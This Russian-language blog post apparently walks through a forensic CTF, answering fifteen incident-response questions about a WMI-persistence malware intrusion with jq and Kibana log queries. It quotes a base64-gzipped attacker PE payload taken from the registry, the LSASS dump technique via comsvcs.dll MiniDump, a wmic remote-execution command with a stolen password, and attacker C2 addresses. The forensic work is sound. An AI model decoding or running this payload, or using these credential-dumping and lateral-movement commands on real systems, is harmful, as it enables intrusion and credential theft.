Вторая часть серии CyberDefenders.org представляет собой еще более увлекательную криминалистическую CTF. Как обычно, цель состоит в том, чтобы ответить на ряд типичных вопросов реагирования на инциденты, связанные с заражением вредоносным ПО.
Вам предоставляются следующие файлы, которые помогут в анализе:
- дамп необходимых лог-файлов в формате Json (для анализа будем использовать jq)
- ELK с графическим интерфейсом Kibana
Поэтoму на этот раз образ весит все 7 Гб. Скачали? Тогда начнем.
1) Процесс Threat Hunting обычно начинается с того, что аналитик выдвигает гипотезу о возможном векторе компрометации или методах, используемых злоумышленником. В этом сценарии ваша первоначальная гипотеза выглядит следующим образом:
«Злоумышленник использовал механизм подписки WMI для обеспечения устойчивости в инфраструктуре». Проверьте эту гипотезу и найдите имя потребителя событий WMI, используемого злоумышленником для сохранения своей позиции.
Выполним запрос:
cat cyberpolygon-2020-data.json | jq 'select(._source.event_id=="5861")'
или отфильтруем в Кibana:
event_id:5861
Ответ:
PowerControl Consumer
2) На предыдущем шаге вы искали следы пребывания злоумышленника в скомпрометированной системе с помощью механизма подписки WMI. Теперь найдите процесс, установивший подписку WMI. Ответьте на вопрос, указав PID этого процесса и имя его исполняемого файла через запятую без пробелов. Ищем процесс, который создает скрипт:
C:\Users\john.goldberg\AppData\Roaming\Microsoft\Office\MSO1033.ps1
Ответ:
5772,winword.exe
3) Процесс, описанный в предыдущем вопросе, использовался для открытия файла, извлеченного из архива, полученного пользователем по электронной почте. Укажите хэш SHA256 извлеченного и открытого из архива файла.
Выполним запрос:
cat cyberpolygon-2020-data.json | jq 'select(._source.proc_id==5772)'|grep ".doc"|grep -v "_doc"|sort|uniq
cat cyberpolygon-2020-data.json | jq 'select(._source.proc_id==5772)'|grep -A50 -B10 "Temp1_Report.zip"
Это файл Word document: C:!Work\Marketing\Docs\OPEC\OPEC crude oil production.docx
Ответ:
54dabbd0a47f5ef839de9183978b9b755c248c8ad7a35aff3fe537990ffb3501
4) Файл, упомянутый в вопросе 3, сам по себе не является вредоносным, но при его открытии из Интернета загружается другой файл, который уже содержит вредоносный код. Ответьте на вопрос, указав адрес, с которого был скачан этот файл, и SHA256-хэш скачанного файла, разделенные запятыми без пробелов.
- IP достаточно легко получить из файла URL
- Hash вам нужен загруженный хэш вредоносного документа docx или dotm.
cat cyberpolygon-2020-data.json | grep "OPEC crude oil production.docx"| grep dotm| tail -n1
Ответ:
188.135.15.49,65df8039cbd1b3fb40a1cc9198c2ba314dd38ff7d301ee475327d438346d96af
5) Вредоносный код из файла, упомянутого в вопросе 4, непосредственно установил WMI-подписку, с которой мы начали охоту, а также загрузил несколько файлов из Интернета на скомпрометированный хост.
Для скачивания файла злоумышленник использовал хитрый прием, давший ему возможность скрыть реальный процесс, инициировавший соответствующую сетевую активность. Укажите хэш SHA256 компонента операционной системы, функциональность которого использовалась злоумышленником для скачивания файлов из Интернета. В Netsyclla считают, что вопрос довольно расплывчатый по сравнению с количеством загруженных exe и dll.
Мы знаем что:
- одинаково файлы могуть быть открыты либо в Winword, либо в Iexplore (как браузер по умолчанию).
- макросы VBA могут загружать wmi или powershell.
- двоичные файлы lolbas также могут быть использованы.
Поэтому вместо этого сосредоточьтесь на PID winword и документа: 5772, iexplore и загруженных dll, а также Mitre Att&ck T1071.
Ответ:
5516176cd0f4204ef8cf563c1dd6b3991b134d17eef2cc5e62e7f6c7aadfbb37
6) Укажите доменное имя ресурса, с которого предположительно были скачаны упомянутые в вопросе 5 файлы в результате выполнения вредоносного кода.
Ответ:
raw.githubusercontent.com
7) Первый загруженный файл (в результате выполнения кода в вопросе 5) содержал закодированный исполняемый код (PE), который после скачивания был записан в реестр. Укажите хэш MD5 исходного представления этого кода (PE).
Используем следующее:
-process (winword.exe) = 5772
-event_type = registryvalueset
-enrich.ioa.rules= win_gzipped_as_reg_value_data
H4sIAAAAAAAEAO1YX0wcRRz+7XEUCuWOkhCJGl3IRiGpV/6ooQnqTbmLc+2hx4FwEKVcuW0Bjztyf1KqtYUAhs2GxAQftPHBGH2xPmhSUzz/5Ci1eAk1WHNafVCCxdJCE9qHpibV9Te7exQE25cqL/cls99vZ7759jezM5O9q2t9AzIAwIhFUQDGQYMV7o4ZLKaHYyY4ufVc8TjnPFfc2NkV5ntDwYMhbw/f4Q0EghF+v8iHogG+K8Dbnm/ge4I+0ZKXlyPoHofv3x1/6tUdY6kyO3Rp7Gk1fmzsCeTysumxGpWvq+zu6uhkun/LyWUH8L1uhAe25jWk6pahhM81bAMwsIS1uo+34yVfDfs50GNs36L32bJiqE+O2tzOpTqlaP39mhDaeYDS1QlaAQS4B0BfeodmS0TsiyDPcbAyttQ4Vlm0W0I+b8QL4Oe0ClW3Za0OU7ZaNBnkZeOlHEsOlux1urilVxMKeoXqV7De7+4DTOP/AJUahXwqOYVsOrhURGWbwFPJhndTRvUVpngxl8pGgSpxKiGhrJTuMgrh+1iYfRZ1jNVm5MXv6eCZosnpDUAHlsYzAWKdzHvUKfQuvKIoypRN6NVqbIKHWVAW9bLISrGxWkvFJrCVB8ilNo15dm+vStir4nS0cOejAFUJpfAZM8Bw3Dx0gomGhHxc2xm4Cejom8IsM5KdQrtSWGzWLKxYRT5jm4SMsyVddZ4JPEphvpnNj01w0dSTUIYC52jm1w8xm0Zs0qRXTdoUuKg0JFzg4J/P+tK0Eh6/HR7TQzSImLTUGdOBM2yONpw/J+ZTtPqdVeNTWZL84BGB5yKGxcyFt/5SlHG2n/EtVE/e+f3P8Br/ovOSzrd0NhVrXKLzkzrT4rU+nIkDUwlylgGyuFPAFXBQsB9ghL+taWN9eNgQ9yqPY1DrD4ZF6g34/CJ4OHtfV6SxMyR6fQAnjG4xHO0RU/c/Qi0GEdEVCnaI4TDBVW54VtTltcGAdoRWZzasq/sws6krFIl6/cTvD3bY+wBuZjaHulas6sSeYOgwwF67+zm7s6rS4vP7Nx73ZuMWHby4vDCNEaknLnd9E604L1LZ3Y4FjwM3T+WQi5pP7dlTV5GgFfGParxHDDt4MpHII9zE3FU3qWcqeXcN5WYODPQV5RrMwyG0k/tH8EqH45GD2OKSaZFNtvIObua3JqokiPz4COV+0D11t+rZ6DVnBi5r+67vohc8qBdQf4DI2yjGD2JMZCN2myEe4mlraUVqIa24B3jiVmbxppXKBZf34nnykuOrQ+HKfVWVOKwmh/Q7njrv4oZwSPOOLwzAfd72yZ9HSaNDuuiUrpGY89AjWUrSKV3p5FDUQmJl/S+DkuzOIW0uF6ZYVxFXT7bT6nWCxK6Yf51VklSa6s4nHqc0R6U/SOztDyJeJYnjzXEo30bnF9gnCuaGG3UOPbqNxKPKDD99s09JDt6Eoy/g9uTbpBvdVtLSqR4/qLhOKxIk5nm/YZ49YNIhTWFnh7RMpZ/Xdn+t1EOasZ+V9euGVhLL3WkuV5LNmH80UIepYBqXa3AyKDdJy87S4RvRk0S5hNoWx9Tp5U/fa1KSm7r00kgjjTTS2ETgT3P8NsEvFLFP3Oxc0tgE4HfHi1goD9CL/M52ABev/T8yh8XDb3J+afyn+BulDDBxABQAAA==
-base64 decode
-gunzip
-cyberchef
Ответ:
d9fa159c50e2f4d696bca970526dfc4d
8) Вторым загруженным файлом (в результате выполнения кода, о котором мы говорили в 5-м вопросе был скрипт, настроенный на автозапуск через WMI Subscription. Укажите хэш SHA256 этого скрипта.
Используем фильтры Kibana:
- seach on ps1
- filter on event_seq between 58 and 64
- carve out the powershell but sha is
3EAD426B8FE932251C0CC37023714F1A8CB90E810D21223E37621331E699EF57
Или jq:
-Cycle through the event_seq id to extract the powershell source
cat cyberpolygon-2020-data.json |jq 'select(._source.event_seq==58)'|jq ._source.script_text
-but requires tidying up due to escaped "
-Powershell source SHA256 on (linux) is
3EAD426B8FE932251C0CC37023714F1A8CB90E810D21223E37621331E699EF57 so use
unix2dos program to restore \r\n
Ответ:
6df4709bc07356968fb0e94985ddd1835d0458b22aab6a371784826109e49ef5
9)Скрипт, упомянутый в вопросе 8, породил один из легитимных системных процессов и внедрил в его память вредоносный код, который был прочитан и декодирован из реестра (этот код упоминался в вопросе 7. Этот вредоносный код мигрировал через цепочку внедрений кода в адресное пространство другого легитимного процесса, где продолжал работать без дальнейшей миграции. Для этого ответа укажите следующие данные, разделенные запятой без пробелов:
-PID исходного легитимного системного процесса, который был порожден сценарием и в котором этот скрипт запустил выполнение вредоносного кода в памяти;
-8876 начальный процесс dwm.exe 19bdc9f2-9843-49f2-b41a-50d4584bac29
-PID целевого процесса, в который мигрировал вредоносный код из исходного процесса и в контексте которого злоумышленник выполнял различные постэксплуатационные действия
- 1160 поддельный ppid winlogin из _id=19bdc9f2-9843-49f2-b41a-50d4584bac29
Ответ:
8876,1160
10) Вредоносный код, запускаемый скриптом, представляет собой Reverse Shell. Определите IP-адрес и номер порта своего командного центра.
Используем фильтры Kibana:
-“event_type”:”NetworkConnection”
- powershell
-“enrich.ioa.rules”:”win_suspicious_powershell_download_cradles”
Ответ:
94.177.253.126:443
11) В результате запуска вредоносного кода, о котором мы говорим в вопросах 9 и 10, злоумышленник получил шелл на скомпрометированном хосте. Используя этот доступ, злоумышленник загрузил на хост утилиту сбора Active Directory в зашифрованном виде. Укажите через запятую ссылку без пробелов, по которой была загружена закодированная версия утилиты, и хэш SHA256 декодированной версии, которая была непосредственно запущена злоумышленником на скомпрометированном хосте.
- первую часть легко решить применяя certutil .
- битовый обманщик использовал egrep на поддельном svchost.exe, чтобы найти правильный хэш.
Ответ:
http://188.135.15.49/chrome_installer.log2,EB41B254964FB046656A7312C8547674577C4A2229360CC12F5B1289280B92C3
12) В процессе постэксплуатации злоумышленник использовал одну из стандартных утилит Windows для создания дампа памяти чувствительного системного процесса, содержащего учетные данные активных пользователей в системе. Укажите имя исполняемого файла используемой утилиты и имя создаваемого файла дампа памяти через запятую без пробелов:
grep "comsvcs.dll,MiniDump" cyberpolygon-2020-data.json
Ответ:
rundll32.exe,dump.bin
13) Предположительно, злоумышленник извлек пароль одной из привилегированных учетных записей из дампа памяти, который мы обсуждали в предыдущем вопросе, и использовал его для запуска вредоносного кода на одном из контроллеров домена. О каком аккаунте идет речь? В качестве ответа укажите его логин и пароль в формате логин:пароль.
cat cyberpolygon-2020-data.json |grep "wmic"
...
"cmdline":"wmic /node:192.168.184.100 /user:inventory /password:jschindler35 process call create
...
Ответ:
inventory:jschindler35
14) Скомпрометированная учетная запись пользователя является членом двух встроенных привилегированных групп на контроллере домена. Первая группа - администраторы. Найдите вторую группу. Укажите SID этой группы в качестве ответа.
Look for “Category”:”Inventory Information Collected” and Backup Operators = S-1-5-32-551
Ответ:
S-1-5-32-551
15) В результате выполнения вредоносного кода на контроллере домена с использованием скомпрометированной учетной записи злоумышленник получил реверсивный шелл на этом узле. Эта оболочка использовала ранее невидимый IP-адрес в качестве командного центра. В качестве ответа укажите его адрес. Используем магию jq для фильтрации обратных вызовов powershell из DC:
cat cyberpolygon-2020-data.json | grep "DC01-CYBERCORP.cybercorp.com" | grep powershell | jq ._source.net_dst_ipv4 | grep -v null | sort | uniq -c | sort -rn
15 "0.0.0.0"
3 "94.177.253.126"
1 "190.150.52.34"
Ответ:
190.150.52.34
No comments:
Post a Comment
А что вы думаете по этому поводу?